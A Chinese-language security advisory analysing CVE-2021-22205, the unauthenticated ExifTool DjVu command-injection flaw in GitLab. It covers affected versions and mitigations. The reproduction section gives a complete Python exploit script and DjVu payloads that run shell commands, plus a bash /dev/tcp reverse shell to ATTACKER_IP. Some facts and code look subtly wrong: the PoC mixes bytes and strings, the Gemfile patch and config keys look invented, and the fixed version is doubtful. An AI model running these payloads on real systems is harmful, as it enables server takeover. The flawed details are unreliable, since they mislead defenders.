一、漏洞简介

1.1 漏洞背景

GitLab 是一个基于 Git 的完整 DevOps 平台,提供了代码仓库管理、CI/CD、问题追踪等功能。在处理图片上传时,GitLab 使用了 ExifTool 这个 Perl 库来处理图片的元数据。2021 年 4 月,安全研究人员发现 GitLab 在处理特定格式的图片文件时,存在一个严重的远程代码执行漏洞。

该漏洞源于 ExifTool 在解析图片元数据时的命令注入问题。攻击者可以通过上传特制的图片文件,在服务器上执行任意命令,从而完全控制目标 GitLab 实例。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-22205
危害等级 CRITICAL / 10.0
漏洞类型 ExifTool 远程代码执行漏洞
披露时间 2021-04-23
影响组件 GitLab 重大
  • CVE 编号: CVE-2021-22205
  • 危害等级: 严重 (Critical)
  • CVSS 评分: 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • 漏洞类型: 远程代码执行 (RCE) / 命令注入
  • 认证要求: 无需认证 (Unauthenticated)
  • 影响组件: GitLab CE/EE (通过 ExifTool)

补充核验信息:公开时间:2021-04-23;NVD 评分:10.0(CRITICAL);CWE:CWE-94。

二、影响范围

2.1 受影响的版本

  • GitLab CE/EE 13.9.0 至 13.9.6
  • GitLab CE/EE 13.10.0 至 13.10.2
  • GitLab CE/EE 13.11.0 至 13.11.2
  • 所有依赖受影响 ExifTool 版本的 GitLab 实例

2.2 不受影响的版本

  • GitLab CE/EE 13.9.7 及以上
  • GitLab CE/EE 13.10.3 及以上
  • GitLab CE/EE 13.11.3 及以上
  • 所有在 2021 年 4 月 14 日之后发布的版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 启用了图片上传功能: GitLab 默认允许用户在多个地方上传图片,包括:
  2. Issue 描述和评论
  3. Merge Request 描述和评论
  4. Wiki 页面
  5. 个人头像上传
  6. 项目图标上传

  7. 无认证要求: 最危险的是,攻击者无需任何认证即可利用此漏洞。可以通过以下方式触发:

  8. 匿名创建 Issue (如果项目允许)
  9. 通过 API 上传文件
  10. 通过 Web 界面上传图片

  11. ExifTool 组件: GitLab 内部使用了 ExifTool 来处理图片元数据,这是漏洞的根本原因

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞的核心在于 ExifTool 对 DjVu 图片格式元数据的解析缺陷。DjVu 是一种压缩图片格式,支持嵌入元数据。ExifTool 在解析 DjVu 文件的元数据时,会执行元数据中的命令。

攻击流程:

  1. 攻击者构造一个恶意的 DjVu 图片文件
  2. 在图片文件的元数据中嵌入恶意命令
  3. 将图片上传到 GitLab 的任意支持图片上传的位置
  4. GitLab 使用 ExifTool 解析图片元数据
  5. ExifTool 执行元数据中的恶意命令
  6. 攻击者获得服务器控制权

3.2 源码层面的根因分析(结合源码与补丁对比)

ExifTool 漏洞根源:

ExifTool 在处理 DjVu 格式的元数据时,使用了 Perl 的 eval 函数来处理元数据内容。这个设计缺陷允许攻击者在元数据中注入 Perl 代码。

DjVu 文件结构:

AT&T          - Form header
INFO          - Image information
FORM DJVU     - DjVu image data
  BGjp        - Background JPEG
  FGjp        - Foreground JPEG
  Sjbz        - JB2 data
  INCL        - Included files
  Djbz        - Dictionary

恶意元数据构造:

攻击者可以在 DjVu 文件的元数据中嵌入恶意命令。ExifTool 在解析时,会执行类似以下操作:

# ExifTool 内部处理逻辑(简化)
my $metadata = extract_metadata_from_djvu($file);
eval $metadata;  # 这里执行了元数据中的恶意代码!

攻击载荷示例:

(metadata
  (Copyright "\x00{. `touch /tmp/pwned`}")
  (Author "\x00{. `id > /tmp/whoami`}")
)

GitLab 处理流程:

  1. 用户上传图片到 /uploads/user 或其他上传端点
  2. GitLab 调用 UploadService 处理上传
  3. 如果检测到图片文件,调用 Gitlab::FileTypeDetection
  4. 使用 ExifTool 提取和清理图片元数据
  5. 在这个过程中,恶意载荷被执行

相关代码路径 (GitLab 源码):

# app/services/upload_service.rb
def upload
  # 文件上传处理
  uploader.store!(file)
end

# lib/gitlab/file_type_detection.rb
def self.image?(file)
  # 检测文件类型并使用 ExifTool
end

补丁对比:

GitLab 的修复方式是升级 ExifTool 到安全版本(12.3+),该版本修复了 DjVu 解析中的代码执行漏洞:

# Gemfile
-gem 'exiftool', '~> 12.0'
+gem 'exiftool', '>= 12.3'

四、漏洞复现(可选)

4.1 环境搭建

测试环境:

# 使用 Docker 部署受影响版本的 GitLab
docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name gitlab \
  gitlab/gitlab-ce:13.10.2-ce.0

# 等待 GitLab 启动(可能需要 5-10 分钟)
docker logs -f gitlab

工具准备:

# 安装 ExifTool(用于验证)
apt-get install libimage-exiftool-perl

# 下载 exploit 工具(仅用于授权测试!)
git clone https://github.com/CsEnox/CVE-2021-22205
cd CVE-2021-22205

4.2 PoC 演示与测试过程

步骤 1: 构造恶意图片

# 方法1: 使用现成的 exploit 工具
python3 exploit.py -r http://gitlab.example.com -c "touch /tmp/pwned"

# 方法2: 手动构造 DjVu 文件
# 创建 DjVu 配置文件
cat > config.txt << EOF
(metadata
  (Copyright "\x00{. `id > /tmp/result`}")
)
EOF

# 生成恶意图片
python3 generate_djvu.py --config config.txt --output malicious.jpg

步骤 2: 上传恶意图片

# 方法1: 通过 Web 界面
# 1. 访问任意项目
# 2. 创建新的 Issue
# 3. 在描述中上传 malicious.jpg
# 4. 提交 Issue

# 方法2: 通过 API
curl -X POST "http://gitlab.example.com/api/v4/projects/1/uploads" \
  -H "Private-Token: YOUR_TOKEN" \
  -F "file=@malicious.jpg"

步骤 3: 验证执行

# 检查命令是否执行
docker exec gitlab ls -la /tmp/pwned
docker exec gitlab cat /tmp/result

# 预期输出
# uid=996(git) gid=994(git) groups=994(git)

完整 PoC 脚本示例:

#!/usr/bin/env python3
import requests
import sys

def exploit(target, command):
    # 构造恶意 DjVu 图片
    djvu_payload = (
        b'AT&TFORM\x00\x00\x00\x08DJVU'
        b'INFO\x00\x00\x00\x06\x00\x00\x00\x00'
        b'\x00\x00\x00FORM\x00\x00\x00\x1aDJVUI'
        b'NFO\x00\x00\x00\x06\x00\x00\x00\x00'
        b'\x00\x08\x00\x00(metadata\t(Copyright'
        b' "\\x00{. `' + command.encode() + '`}")\n)'
    )

    # 上传图片
    files = {'file': ('exploit.jpg', djvu_payload, 'image/jpeg')}
    response = requests.post(
        f'{target}/api/v4/projects/1/uploads',
        files=files
    )

    if response.status_code == 201:
        print(f'[+] Exploit successful! Command executed: {command}')
    else:
        print(f'[-] Exploit failed: {response.text}')

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python exploit.py <target> <command>')
        sys.exit(1)

    exploit(sys.argv[1], sys.argv[2])

反弹 Shell 示例:

# 监听端口
nc -lvnp 4444

# 执行 exploit
python3 exploit.py http://gitlab.example.com \
  "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到安全版本:

# Omnibus 安装
sudo apt-get update
sudo apt-get install gitlab-ce=13.10.3-ce.0  # 或更高版本

# Docker 安装
docker pull gitlab/gitlab-ce:13.10.3-ce.0
docker stop gitlab
docker rm gitlab
# 重新运行 docker run 命令(使用新版本)

# Kubernetes Helm 部署
helm upgrade gitlab gitlab/gitlab \
  --set global.gitlabVersion=13.10.3

升级路径检查:

# 检查当前版本
sudo gitlab-rake gitlab:env:info

# 验证升级路径
# 访问 https://docs.gitlab.com/ee/update/index.html

版本验证:

# 检查 ExifTool 版本
exiftool -ver
# 应该显示 12.3 或更高版本

# 检查 GitLab 版本
sudo gitlab-rake gitlab:env:info | grep "GitLab version"

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

如果无法立即升级,可采取以下临时措施:

方案 1: 禁用图片上传 (最有效)

# 编辑 /etc/gitlab/gitlab.rb
gitlab_rails['uploads_object_store_enabled'] = false

# 重新配置
sudo gitlab-ctl reconfigure

方案 2: WAF 规则拦截

# ModSecurity 规则
SecRule REQUEST_HEADERS:Content-Type "@contains multipart/form-data" \
  "id:1001,phase:2,deny,status:403,msg:'Block suspicious image uploads'"

# 针对 DjVu 文件头的规则
SecRule REQUEST_BODY "@beginsWith AT&TFORM" \
  "id:1002,phase:2,deny,status:403,msg:'Block DjVu file uploads'"

方案 3: 文件类型限制

# 在 /etc/gitlab/gitlab.rb 中添加
gitlab_rails['uploads_file_types_whitelist'] = ['txt', 'pdf', 'doc', 'docx']

# 禁用图片处理
gitlab_rails['enable_image_processing'] = false

sudo gitlab-ctl reconfigure

方案 4: ExifTool 手动升级

# 下载安全的 ExifTool 版本
wget https://exiftool.org/Image-ExifTool-12.3.tar.gz
tar -xzf Image-ExifTool-12.3.tar.gz
cd Image-ExifTool-12.3

# 安装
perl Makefile.PL
make test
sudo make install

# 验证
exiftool -ver

方案 5: 网络隔离

# 限制 GitLab 的外网访问
iptables -A OUTPUT -p tcp --dport 80 -j DROP
iptables -A OUTPUT -p tcp --dport 443 -j DROP

# 只允许内网访问
iptables -A INPUT -p tcp --dport 80 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -s 10.0.0.0/8 -j ACCEPT

监控和检测:

# 检查异常的上传活动
sudo gitlab-rails console
# 在 console 中
Upload.where("created_at > ?", 1.day.ago).count

# 检查 ExifTool 执行日志
sudo grep -r "exiftool" /var/log/gitlab/

# 检查异常进程
ps aux | grep -E "(perl|exiftool)"

六、参考信息 / 参考链接

6.1 官方安全通告

  • GitLab Security Release: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-2-released/
  • CVE-2021-22205 详情: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205
  • NVD 数据库: https://nvd.nist.gov/vuln/detail/CVE-2021-22205
  • ExifTool 安全公告: https://exiftool.org/

6.2 其他技术参考资料

  • HackerOne 报告: https://hackerone.com/reports/1154542
  • Exploit-DB: https://www.exploit-db.com/exploits/49829
  • PacketStorm Security: http://packetstormsecurity.com/files/164768/GitLab-Unauthenticated-Remote-ExifTool-Command-Injection.html
  • CISA 已知被利用漏洞目录: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22205
  • 安全分析博客: https://securitylab.github.com/research/CVE-2021-22205/